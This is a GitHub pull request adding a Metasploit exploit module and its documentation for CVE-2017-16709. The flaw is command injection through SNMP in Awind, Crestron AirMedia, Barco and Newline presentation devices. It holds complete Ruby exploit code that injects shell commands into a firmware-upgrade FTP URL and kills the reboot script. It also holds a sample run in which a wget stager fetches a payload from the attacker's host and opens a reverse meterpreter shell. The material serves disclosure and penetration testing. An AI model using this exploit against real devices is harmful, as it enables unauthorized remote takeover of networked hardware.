Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2017-16709 - Awind SNMP RCE #11643

Merged
merged 15 commits into from Sep 4, 2019
73 changes: 73 additions & 0 deletions documentation/modules/exploit/linux/snmp/awind_snmp_exec.md
@@ -0,0 +1,73 @@
## Description

This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to `ftpfw.sh` system command, leading to command injection.

Note: a valid SNMP read-write community is required to exploit this vulnerability.

## Vulnerable Devices

The following devices are known to be affected by this issue:

* Crestron Airmedia AM-100 <= version 1.5.0.4
* Crestron Airmedia AM-101 <= version 2.5.0.12
* Awind WiPG-1600w <= version 2.0.1.8
* Awind WiPG-2000d <= version 2.1.6.2
* Barco wePresent 2000 <= version 2.1.5.7
* Newline Trucast 2 <= version 2.1.0.5
* Newline Trucast 3 <= version 2.1.3.7

Other devices might be affected by the same issue but lack of access to firmware forbids me from confirming that. See https://github.com/QKaiser/awind-research for full list of similar devices.

## Verification steps

1. Start `msfconsole`
2. Do: `use exploit/linux/snmp/awind_snmp_exec`
3. Do: `set payload linux/armle/meterpreter/reverse_tcp`
4. Do: `set RHOST [IP]`
5. Do: `set LHOST [IP]`
6. Do: `run`

You should get a session.

## Sample run
qkaiser marked this conversation as resolved.
Show resolved Hide resolved

``
qkaiser marked this conversation as resolved.
Show resolved Hide resolved
msf5 > use exploit/linux/snmp/awind_snmp_exec
msf5 exploit(linux/snmp/awind_snmp_exec) > set payload linux/armle/meterpreter/reverse_tcp
payload => linux/armle/meterpreter/reverse_tcp
msf5 exploit(linux/snmp/awind_snmp_exec) > set RHOSTS 192.168.100.2
RHOSTS => 192.168.100.2
msf5 exploit(linux/snmp/awind_snmp_exec) > set LHOST 192.168.100.1
LHOST => 192.168.100.1
msf5 exploit(linux/snmp/awind_snmp_exec) > check

[*] Target system is Crestron Electronics AM-100 (Version 2.6.0.6)
[+] 192.168.100.2:161 The target is vulnerable.
msf5 exploit(linux/snmp/awind_snmp_exec) > run

[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Using URL: http://0.0.0.0:8080/u70HALC
[*] Local IP: http://192.168.1.10:8080/u70HALC
[*] Injecting payload
[*] Injection successful
[*] Triggering call
[*] Trigger successful
[*] Client 192.168.100.2 (Wget) requested /u70HALC
[*] Sending payload to 192.168.100.2 (Wget)
[*] Sending stage (806872 bytes) to 192.168.100.2
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Meterpreter session 2 opened (192.168.100.1:4444 -> 192.168.100.2:38009) at 2019-03-28 11:01:41 +0100
[*] Server stopped.

meterpreter > sysinfo
Computer : Crestron.AirMedia-1.1.wm8750
OS : (Linux 2.6.32.9-default)
Architecture : armv6l
BuildTuple : armv5l-linux-musleabi
Meterpreter : armle/linux
``
qkaiser marked this conversation as resolved.
Show resolved Hide resolved

## References

* https://github.com/QKaiser/awind-research
* https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/
156 changes: 156 additions & 0 deletions modules/exploits/linux/snmp/awind_snmp_exec.rb
@@ -0,0 +1,156 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::SNMPClient
include Msf::Exploit::CmdStager

def initialize(info={})
super(update_info(info,
'Name' => "AwindInc SNMP Service Command Injection",
'Description' => %q{
This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.
A valid SNMP read-write community is required to exploit this vulnerability.

The following devices are known to be affected by this issue:

* Crestron Airmedia AM-100 <= version 1.5.0.4
* Crestron Airmedia AM-101 <= version 2.5.0.12
* Awind WiPG-1600w <= version 2.0.1.8
* Awind WiPG-2000d <= version 2.1.6.2
* Barco wePresent 2000 <= version 2.1.5.7
* Newline Trucast 2 <= version 2.1.0.5
* Newline Trucast 3 <= version 2.1.3.7
},
'License' => MSF_LICENSE,
'Author' =>
[
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
],
'References' =>
[
['CVE', '2017-16709'],
['URL', 'https://github.com/QKaiser/awind-research'],
['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']
],
'Platform' => 'linux',
'Targets' => [ [ 'Universal', {} ] ],
'CmdStagerFlavor' => %w[wget],
'Privileged' => true,
'Arch' => [ ARCH_ARMLE ],
'DisclosureDate' => "Mar 27 2019",
'DefaultTarget' => 0))

register_options(
[
OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),
])
end


def check
begin
connect_snmp
sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
print_status("Target system is #{sys_description}")
# AM-100 and AM-101 considered EOL, no fix so no need to check version.
return Exploit::CheckCode::Vulnerable if sys_description.include? "Crestron Electronics AM-100" or sys.description.include? "Crestron Electronics AM-101"
# TODO: insert description check for other vulnerable models (that I don't have)
# In the meantime, we return 'unknown'.
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What would cause this except a Ctrl+c? If it's just that then this is unnecessary.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I based my code on auxiliary/scanner/snmp/snmp_enum (see https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/snmp/snmp_enum.rb#L870), but I'll be happy to remove it if not required.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@bcoles what do you think ? Should I follow snmp_enum pattern or simply remove the interrupt catch ?

raise $!
rescue ::Exception => e
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's generally bad practice to catch Exception unless there is a specific reason to do so. Catch StandardError instead.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This applies to all times you catch ::Exception

Copy link
Contributor Author

@qkaiser qkaiser Mar 28, 2019

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I based my code on auxiliary/scanner/snmp/snmp_enum (see https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/snmp/snmp_enum.rb#L872). Once again, happy if it safe to remove it :)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@bcoles what do you think ? Should I follow snmp_enum pattern or simply remove the general exception handler ?

print_error("Unknown error: #{e.class} #{e}")
ensure
disconnect_snmp
end
Exploit::CheckCode::Unknown
end

def inject_payload(cmd)
begin
connect_snmp
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd))
resp = snmp.set(varbind)
if resp.error_status == :noError
print_status("Injection successful")
else
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
end
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same as above comment

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See above.

raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
disconnect_snmp
end
end

def trigger
begin
connect_snmp
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1))
resp = snmp.set(varbind)
if resp.error_status == :noError
print_status("Trigger successful")
else
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
end
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same as above comment

raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
disconnect_snmp
end
end

def exploit
execute_cmdstager
end

def execute_command(cmd, opts = {})

# The payload must start with a valid FTP URI otherwise the injection point is not reached
cmd = "ftp://1.1.1.1/$(#{cmd.to_s})"

# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback
# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and
# keep our reverse shell opened :)
cmd << "$(pkill -f /etc/reboot.sh)"

# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad
cmd << "A" * (255-cmd.length)

# we inject our payload in camFWUpgradeFTPURL
print_status("Injecting payload")
inject_payload(cmd)

# we trigger the firmware download via FTP, which will end up calling this
# "/bin/getRemoteURL.sh %s %s %s %d"
print_status("Triggering call")
trigger
end
end